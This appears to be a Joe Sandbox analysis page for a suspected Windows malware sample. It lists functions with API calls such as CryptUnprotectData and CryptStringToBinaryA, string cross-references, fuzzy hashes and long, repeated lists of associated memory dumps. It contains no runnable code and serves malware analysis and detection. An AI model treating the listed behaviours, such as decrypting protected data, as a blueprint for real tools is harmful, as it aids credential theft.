Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Kiy$;|eO$>fk?$J?$Rh[{$pK~~$oge
API String ID: 0-3914450680
Opcode ID: 896cc8b4e47c8d6b749d6a36af5a04e78a0456ec4aacf2405893b3b9155c72f5
Instruction ID: 1637c8ba5d82a8dbbdb345962d208a5670406415c29a6d4bc6bcd2f66eb9a9bb
Opcode Fuzzy Hash: 896cc8b4e47c8d6b749d6a36af5a04e78a0456ec4aacf2405893b3b9155c72f5
Instruction Fuzzy Hash: B9B207F3A0C2049FE304AE2DEC8577ABBE5EF94320F16893DE6C5C7744EA3558058696

Function 007C5D32 Relevance: 9.1, Strings: 6, Instructions: 1618COMMON

Download Yara Rule

Strings

\H?L, xrefs: 007C6DB7
NG^, xrefs: 007C69A1
a=7?, xrefs: 007C5D9D
lI.y, xrefs: 007C668D, 007C66DD
.mGo, xrefs: 007C6355
#py, xrefs: 007C6154

Memory Dump Source

Source File: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #py$.mGo$NG^$\H?L$a=7?$lI.y
API String ID: 0-891290994
Opcode ID: b2735da084212aedf16a04c933adc041d1983c26cd756d98b0435c05879fd588
Instruction ID: 65a6fddb2c08041eed2f05a712897560c71002940b9b1e6393c9b2a7fe4c82df
Opcode Fuzzy Hash: b2735da084212aedf16a04c933adc041d1983c26cd756d98b0435c05879fd588
Instruction Fuzzy Hash: F5B2E5F3A0C2049FE304AE2DEC8567AFBE9EF94720F16453DEAC4C3744EA7558058696

Function 00409AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Strings

N@, xrefs: 00409AD4, 00409AE1, 00409AF9, 00409B18, 00409AE4, 00409B1B

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N@
API String ID: 4291131564-4229412743
Opcode ID: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction ID: b446a55777cc1d1e4698a5b325ac1ac72e8f4b69ff9cac50ab15cfe2fa8c9284
Opcode Fuzzy Hash: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction Fuzzy Hash: 4811A4B4240208BFEB10CFA4DC95FAA77B5FB89714F208059FA159B3D0C776A901CB54

Function 007BD559 Relevance: 7.9, Strings: 5, Instructions: 1643COMMON

Download Yara Rule

Strings

Hno, xrefs: 007BDE24
F&;<, xrefs: 007BE11B
W~?, xrefs: 007BE1D1
_en, xrefs: 007BDCC0
S(m^, xrefs: 007BDB37

Memory Dump Source

Source File: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: F&;<$Hno$S(m^$W~?$_en
API String ID: 0-2781385858
Opcode ID: 58ba3f12da5487eae83a2e5e2394a7c09a7ab8834076b3bd1be9bc514e3e0a72
Instruction ID: 1996594ce1e042d213bf939b1012110585dc0e5153e798978b1e7c791b888898
Opcode Fuzzy Hash: 58ba3f12da5487eae83a2e5e2394a7c09a7ab8834076b3bd1be9bc514e3e0a72
Instruction Fuzzy Hash: A5B207F3A0C2049FE304AE2DEC8567AFBE9EB94720F16853DEAC4C7744E63558058796

Function 00416920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0041696C
sscanf.NTDLL ref: 00416999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004169B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004169C0
ExitProcess.KERNEL32 ref: 004169DA

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: aadf5676f7027d7b9e1150d64898f7b292d6df214c2b0f712edb9653bf63e1a7
Instruction ID: bc3f4e88d18d0d52d27c53656958a280d832632e1993de176dacc6bdaed8f038
Opcode Fuzzy Hash: aadf5676f7027d7b9e1150d64898f7b292d6df214c2b0f712edb9653bf63e1a7
Instruction Fuzzy Hash: A421BAB5D14208AFDF04EFE4D9459EEB7B6FF48300F04852EE506A3250EB349645CB69

Function 00407240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0040724D
RtlAllocateHeap.NTDLL(00000000), ref: 00407254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00407281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 004072A4
LocalFree.KERNEL32(?), ref: 004072AE

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction ID: ec186dc502c88c98e3638293fff085d95328f9e4ca1f8ca95b137b7d6c986ae9
Opcode Fuzzy Hash: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction Fuzzy Hash: 900100B5A80208BBEB10DFD4DD45F9E77B9EB44704F104159FB05BA2C0D674AA018B66

Function 007C25B7 Relevance: 6.6, Strings: 4, Instructions: 1642COMMON

Download Yara Rule

Strings

kc_6, xrefs: 007C3108
QS[(, xrefs: 007C2F24
#F, xrefs: 007C311D
4X==, xrefs: 007C2812

Memory Dump Source

Source File: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #F$4X==$QS[($kc_6
API String ID: 0-4176839914
Opcode ID: 61289a6282ff434467855ef1a3ec9a9bebf0f7036f8a979003aafc419f5910d5
Instruction ID: 6139490870a758307b81c24d4367a736bd53dbb4107cec87030033a43574681c
Opcode Fuzzy Hash: 61289a6282ff434467855ef1a3ec9a9bebf0f7036f8a979003aafc419f5910d5
Instruction Fuzzy Hash: 16B22BF360C200AFE704AE2DEC8577ABBE5EF94320F16853DEAC5C3744E93598058696

Function 00418EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction ID: 3c4cb89ba01459054e3b3595e947631781f59a96386c3a2a773972b879479806
Opcode Fuzzy Hash: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction Fuzzy Hash: 62111C74200204BFDB00CFA4D884FA733AAAF89304F109549F9198B250DB39EC82DB65

Function 007BF047 Relevance: 5.3, Strings: 3, Instructions: 1599COMMON

Download Yara Rule

Strings

k#, xrefs: 007BFE0A
v__, xrefs: 007BF2C3
A/Mw, xrefs: 007C0339

Memory Dump Source

Source File: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
